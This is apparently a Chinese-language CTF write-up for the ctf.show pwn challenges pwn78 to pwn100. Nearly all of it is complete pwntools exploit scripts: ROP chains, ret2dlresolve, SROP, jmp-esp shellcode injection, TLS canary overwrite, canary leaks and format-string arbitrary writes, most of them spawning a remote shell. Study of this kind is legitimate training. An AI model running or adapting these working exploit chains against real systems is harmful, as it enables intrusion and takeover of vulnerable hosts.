from pwn import* io=remote('pwn.challenge.ctf.show',28149) bss=0x06C1C60 rax=0x046b9f8 rdi=0x04016c3 rdx_rsi=0x04377f9 syscall=0x45bac5 payload=cyclic(0x50+8)+p64(rax)+p64(0)+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(0x10)+p64(bss)+p64(syscall) payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(syscall) io.sendline(payload) io.sendline(b'/bin/sh\x00') io.interactive()
pwn79 打ret2reg
from pwn import* io=remote('pwn.challenge.ctf.show',28259) call_eax=0x080484a0 shellcode=asm(shellcraft.sh()) payload=shellcode.ljust(0x208,b'a')+b'aaaa'+p32(call_eax) io.sendline(payload) io.interactive()
pwn80 打BROP
pwn81 简单的栈溢出,只需注意接收地址即可。
from pwn import* elf=ELF('./pwn81') libc=ELF('./pwn81libc.so') io=remote('pwn.challenge.ctf.show',28243) io.recvuntil('simple,O.o\n') system=int(io.recvline(),16) print(system) libc_base=system-libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00')) rdi=libc_base+0x02164f ret=libc_base+0x008aa payload=cyclic(0x80+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0) io.sendline(payload) io.interactive()
pwn82 打ret2dlresolve,因为是No RELRO,因此可以修改.dynamic节
from pwn import* io=remote('pwn.challenge.ctf.show',28160) elf=ELF('./pwn82') rop=ROP('./pwn82') elf_strtab=0x08049804 bss=0x080498E0 read_plt_first=0x08048376 io.recvuntil('Welcome to CTFshowPWN!\n') rop.raw(b'a'*112) rop.read(0,elf_strtab+4,4) dynstr=elf.get_section_by_name('.dynstr').data() dynstr=dynstr.replace(b'read',b'system') rop.read(0,bss,len(dynstr)) rop.read(0,bss+0x100,len('/bin/sh\x00')) rop.raw(read_plt_first) rop.raw(0xdeafbeef) rop.raw(bss+0x100) assert(len(rop.chain())<=256) rop.raw(b'a'*(256-len(rop.chain()))) io.send(rop.chain()) io.send(p32(bss)) io.send(dynstr) io.send(b'/bin/sh\x00') io.interactive()
pwn83 开启了Partial RELRO,因此.dynamic节不可写了,可以伪造重定位表项来获取目标函数。
基于工具:
from pwn import * context.log_level = 'debug' #io = process("./pwn") io = remote('pwn.challenge.ctf.show',28126) elf = ELF('./pwn83') rop = ROP('./pwn83') dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"]) rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() io.recvuntil("Welcome to CTFshowPWN!\n") payload = flat({112:raw_rop,256:dlresolve.payload}) io.sendline(payload) io.interactive()
pwn84 64位的ret2dlresolve,No RELRO
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./pwn84") io = remote('pwn.challenge.ctf.show',28124) bss_addr = elf.bss() print(hex(bss_addr)) csu_front_addr = 0x400750 csu_end_addr = 0x40076A leave_ret = 0x40063c pop_rbp = 0x400588 show = 0x400607 pop_rsi_r15 = 0x400771 pop_rdi = 0x400773 read_plt0=0x400516 def csu(rbx,rbp,r12,r13,r14,r15): # pop rbx, rbp, r12, r13, r14, r15 # rbx = 0 # rbp = 1, enable not to jump # r12 should be the function that you want to call # rdi = edi = r13 # rsi = r14 # rdx =r15 payload=p64(csu_end_addr) payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload+=p64(csu_front_addr) payload+=b'a'*0x38 return payload io.recvuntil(b"Welcome to CTFshowPWN!\n") stack_size = 0x200 new_stack = bss_addr + 0x100 rop = ROP('./pwn84') offset = 112 + 8 rop.raw(b'a'*offset) rop.raw(csu(0,1,elf.got['read'],0,0x600988+8,8)) rop.raw(show) rop.raw(b'a'*(256-len(rop.chain()))) assert(len(rop.chain())<=256) rop.raw(b'a'*(256-len(rop.chain()))) io.send(rop.chain()) io.send(p64(bss_addr+0x100)) #fake dynstr rop = ROP("./pwn84") rop.raw(b'a'*offset) dynstr = elf.get_section_by_name('.dynstr').data() dynstr = dynstr.replace(b"read",b"system") rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100,len(dynstr))) rop.raw(show) rop.raw(b'a'*(256-len(rop.chain()))) io.send(rop.chain()) io.send(dynstr) #read /bin/sh rop = ROP("./pwn84") rop.raw(b'a'*offset) rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100+len(dynstr),len(b"/bin/sh\x00"))) rop.raw(show) rop.raw(b'a'*(256-len(rop.chain()))) io.send(rop.chain()) io.send(b'/bin/sh\x00') rop = ROP("./pwn84") rop.raw(b'a'*offset) rop.raw(pop_rsi_r15) rop.raw(0) rop.raw(0) rop.raw(pop_rdi) rop.raw(bss_addr+0x100+len(dynstr)) rop.raw(read_plt0) rop.raw(0) rop.raw(b'a'*(256-len(rop.chain()))) io.send(rop.chain()) io.interactive()
pwn85 64位的ret2dlresolve,Partial RELRO
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./pwn85") io = remote('pwn.challenge.ctf.show',28117) bss_addr = elf.bss() print(hex(bss_addr)) csu_front_addr = 0x400780 csu_end_addr = 0x40079A show = 0x400637 pop_rdi = 0x4007a3 def csu(rbx,rbp,r12,r13,r14,r15): # pop rbx, rbp, r12, r13, r14, r15 # rbx = 0 # rbp = 1, enable not to jump # r12 should be the function that you want to call # rdi = edi = r13 # rsi = r14 # rdx =r15 payload=p64(csu_end_addr) payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload+=p64(csu_front_addr) payload+=b'\x00'*0x38 return payload def ret2dlresolve_x64(elf,store_addr,func_name,resolve_addr): plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr relaent = elf.dynamic_value_by_tag("DT_RELAENT") #重定位表大小 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr syment = elf.dynamic_value_by_tag("DT_SYMENT") #符号表大小 dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 创造fake函数字符 func_string_addr = store_addr resolve_data = func_name + b"\x00" # 创造fake symbol symbol_addr = store_addr+len(resolve_data) offset = symbol_addr - dynsym pad = syment - offset % syment # align syment size symbol_addr = symbol_addr+pad symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0) symbol_index = (symbol_addr - dynsym)//24 resolve_data += b'\x00'*pad resolve_data += symbol #创造fake reloc reloc_addr = store_addr+len(resolve_data) offset = reloc_addr - rel_plt pad = relaent - offset%relaent # align relaent size reloc_addr +=pad reloc_index = (reloc_addr-rel_plt)//24 rinfo = (symbol_index<<32) | 7 write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0) resolve_data += b'\x00'*pad resolve_data +=write_reloc resolve_call = p64(plt0) + p64(reloc_index) return resolve_data,resolve_call io.recvuntil("Welcome to CTFshowPWN!\n") store_addr = bss_addr + 0x100 sh = b"/bin/sh\x00" #创造fake string,symbol,修改.dynamic部分中的.dynstr指针到特定位置。 rop = ROP("./pwn85") offset = 112+8 rop.raw(b'\x00'*offset) resolve_data,resolve_call = ret2dlresolve_x64(elf,store_addr,b"system",elf.got['write']) rop.raw(csu(0,1,elf.got['read'],0,store_addr,len(resolve_data)+len(sh))) rop.raw(show) rop.raw(b'\x00'*(256-len(rop.chain()))) assert(len(rop.chain())<=256) io.send(rop.chain()) io.send(resolve_data+sh) bin_sh_addr = store_addr + len(resolve_data) #泄露link_map addr rop = ROP('./pwn85') rop.raw(b'\x00'*offset) rop.raw(csu(0,1,elf.got['write'],1,0x601008,8)) rop.raw(show) rop.raw(b'\x00'*(256-len(rop.chain()))) io.send(rop.chain()) link_map_addr = u64(io.recv(8)) print(hex(link_map_addr)) # set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL rop = ROP('./pwn85') rop.raw(b'\x00'*offset) rop.raw(csu(0,1,elf.got['read'],0,link_map_addr+0x1c8,8)) rop.raw(show) io.sendline(rop.chain()) sleep(1) io.send(p64(0)) rop = ROP('./pwn85') rop.raw(b'\x00'*offset) rop.raw(pop_rdi) rop.raw(bin_sh_addr) rop.raw(resolve_call) io.send(rop.chain()) io.interactive()
pwn86 打SROP
from pwn import* context(arch='amd64',os='linux') elf=ELF('./pwn86') io=remote('pwn.challenge.ctf.show',28285) str_bin_sh_offset=0x100 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset frame.rsi = 0 frame.rdx = 0 frame.rip = elf.symbols['syscall'] io.send(bytes(frame).ljust(str_bin_sh_offset, b'a') + b'/bin/sh\x00') io.interactive()
pwn87 花式栈溢出,控制esp执行shellcode
from pwn import* io=remote('pwn.challenge.ctf.show',28115) jmp_esp=0x08048d17 set_jmp_esp=''' sub esp,0x28; jmp esp; ''' set_jmp_esp=asm(set_jmp_esp) shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #21字节shellcode payload=shellcode.ljust(0x24,b'a')+p32(jmp_esp)+set_jmp_esp io.recvuntil(b'name?') io.sendline(payload) io.interactive()
pwn88 先一字节读写,修改text跳转,改指令为jmp再写入shellcode,再跳转到shellcode并执行。
from pwn import* context.arch='amd64' io=remote('pwn.challenge.ctf.show',28272) text = 0x400767 def writeData(addr,data): io.sendlineafter('Where What?',hex(addr) + ' ' + str(data)) writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,b'\x00'))) writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,b'\x00'))) shellcode=asm(shellcraft.sh()) shellcode_addr = 0x400769 i = 0 for x in shellcode: data = x writeData(shellcode_addr+i,str(data)) i=i+1 writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,b'\x00'))) io.interactive()
pwn89 劫持TLS绕过canary,前提:溢出字节足够大,通常至少4K,创建一个线程,在线程内栈溢出。原理:在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。
那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP。
from pwn import* elf=ELF('./pwn89') libc=ELF('./pwn89libc.so') io=remote('pwn.challenge.ctf.show',28111) bss=0x0602010 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] read_plt=elf.plt['read'] rdi=0x0400be3 rsi_r15=0x0400be1 ret=0x04006be leave_ret=0x040098c payload=b'a'*0x1010+p64(bss-0x8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0)+p64(read_plt)+p64(leave_ret) payload=payload.ljust(0x2000,b'a') io.sendlineafter("send:",str(0x2000)) io.send(payload) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] one_gadget=libc_base+0x10a2fc io.sendline(p64(one_gadget)) io.interactive()
pwn90 泄漏canary的值再修改返回地址到后门函数。
from pwn import* io=remote('pwn.challenge.ctf.show',28302) io.sendlineafter("CTFshow:",b'a'*40) io.recvuntil('a'*40) canary=u64(io.recv(8))-0xa print(hex(canary)) payload=cyclic(40)+p64(canary)+p64(0)+b'\x42' io.send(payload) io.interactive()
格式化字符串漏洞 pwn91 简单的格式化字符串漏洞。利用漏洞向目标地址写入数据
from pwn import* io=remote('pwn.challenge.ctf.show',28259) daniu=0x0804B038 payload=fmtstr_payload(7,{daniu:6}) io.sendline(payload) io.interactive()
pwn92
存在格式化字符串漏洞,直接输入%s获得flag即可。
pwn93 也简单的介绍了格式化字符串的一些东西,当然想要获得flag很容易,直接输入7即可。
pwn94
存在格式化字符串漏洞,且存在system函数,由于输入长度有限,因此无法造成栈溢出。那么就可以利用格式化字符串漏洞实现任意写,将printf.got指向的地址改为system.plt,这样一来当再次执行printf()时,就相当于执行system()。
from pwn import* elf=ELF('./pwn94') io=remote('pwn.challenge.ctf.show',28256) printf_got = elf.got['printf'] system_plt = elf.plt['system'] payload=fmtstr_payload(6,{printf_got:system_plt}) io.sendline(payload) io.send(b'/bin/sh\x00') io.interactive()
pwn95
这道题没有使用system函数,就不能直接利用system.plt,因此先泄漏libc,再用跟pwn94一样的攻击手法。
from pwn import* from LibcSearcher import* elf=ELF('./pwn95') io=remote('pwn.challenge.ctf.show',28139) printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] payload1=p32(printf_got)+b'%6$s' io.send(payload1) printf=u32(io.recvuntil('\xf7')[-4:]) print(hex(printf)) libc=LibcSearcher('printf',printf) libc_base=printf-libc.dump('printf') system=libc_base+libc.dump('system') payload2=fmtstr_payload(6,{printf_got:system}) io.send(payload2) io.send(b'/bin/sh\x00') io.interactive()
pwn96
存在格式化字符串漏洞,看一下flag字符串的偏移
看出来偏移为6~18,由于是小端序,因此逆序输出。
from pwn import* io=remote('pwn.challenge.ctf.show',28226) flag=b'' for i in range(6,6+12): payload='%{}$p'.format(str(i)) io.sendlineafter("$ ",payload) aim=unhex(io.recvuntil('\n',drop=True).replace(b'0x',b'')) flag+=aim[::-1] print(flag) io.interactive()
pwn97 一道简单的利用格式化字符串任意写的题。
from pwn import* io=remote("pwn.challenge.ctf.show",28244) check=0x0804B040 payload=fmtstr_payload(11,{check:1}) io.sendline(payload) io.interactive()
pwn98
存在canary,但可以通过printf泄漏canary的值,从而绕过canary保护,且存在后门函数
from pwn import* io=remote('pwn.challenge.ctf.show',28195) backdoor=0x80486CE payload=b'%15$x' io.recv() io.sendline(payload) canary=int(io.recv(),16) print(hex(canary)) payload=cyclic(0x28)+p32(canary)+b'a'*0xc+p32(backdoor) io.sendline(payload) io.interactive()
pwn99 fmt盲打
知道flag在栈上,且存在格式化字符串漏洞,因此可以利用该漏洞泄漏flag
from pwn import* def exploit(payload): io=remote('pwn.challenge.ctf.show',28307) io.recv() io.sendline(payload) data=io.recvuntil(b'\n',drop=True) if data.startswith(b'0x'): print(p64(int(data,16))) io.close() i=1 while 1: payload='%{}$p'.format(str(i)) exploit(payload) i+=1 print(i)
pwn100
一道菜单题目,存在几个函数与后门函数,开启了NX、canary、PIE保护,因此大致思路就是泄漏基地址再修改某函数返回地址为后面函数,直接获得flag。
首先是输入时间并打印出来,没有可利用的格式化漏洞
存在格式化字符串漏洞利用,但是只能使用一次,因此需要利用该漏洞将a1的值改为0,从而能一直利用该漏洞,那么就需要找到a1的偏移
从汇编可以看出,a1在rbp-0x48的位置,利用gdb算出偏移为7
因此可以利用%7$n,将a1的值改为0。因为我们将%7$n放在开头,在其之前并没有打印出任何字符,所以个数为0,通过%7$n将这个0写入到a1中,这样一来就可以不断利用该漏洞了。
因为开启了PIE保护,需要泄漏基址以及返回地址
在这里可以看到栈上的rbp存放着main函数的rbp,在rbp+0x8存放着fmt_attack原本的返回地址,因此先泄漏main的rbp算出fmt_attack函数存放返回地址的地址,再泄漏原本的返回地址算出基地址并算出后门函数,最后修改即可。
from pwn import* io=remote('pwn.challenge.ctf.show',28122) #io=process('./pwn100') io.sendline(b'1 1 1') def fmt(payload): io.sendlineafter(">>",b"2") io.sendline(payload) payload1=b'%7$n-%17$p' fmt(payload1) io.recvuntil(b'-') ret_value=int(io.recvuntil('\n')[:-1],16) print(hex(ret_value)) base_addr=ret_value-0x102c payload2=b'%7$n-%16$p' fmt(payload2) io.recvuntil(b'-') ret_addr=int(io.recvuntil('\n')[:-1],16)-0x28 print(hex(ret_addr)) payload3=b'%'+str((base_addr+0xf56)&0xffff).encode()+b'c%10$hn' payload3=payload3.ljust(0x10,b'a') payload3=payload3+p64(ret_addr) fmt(payload3) io.interactive()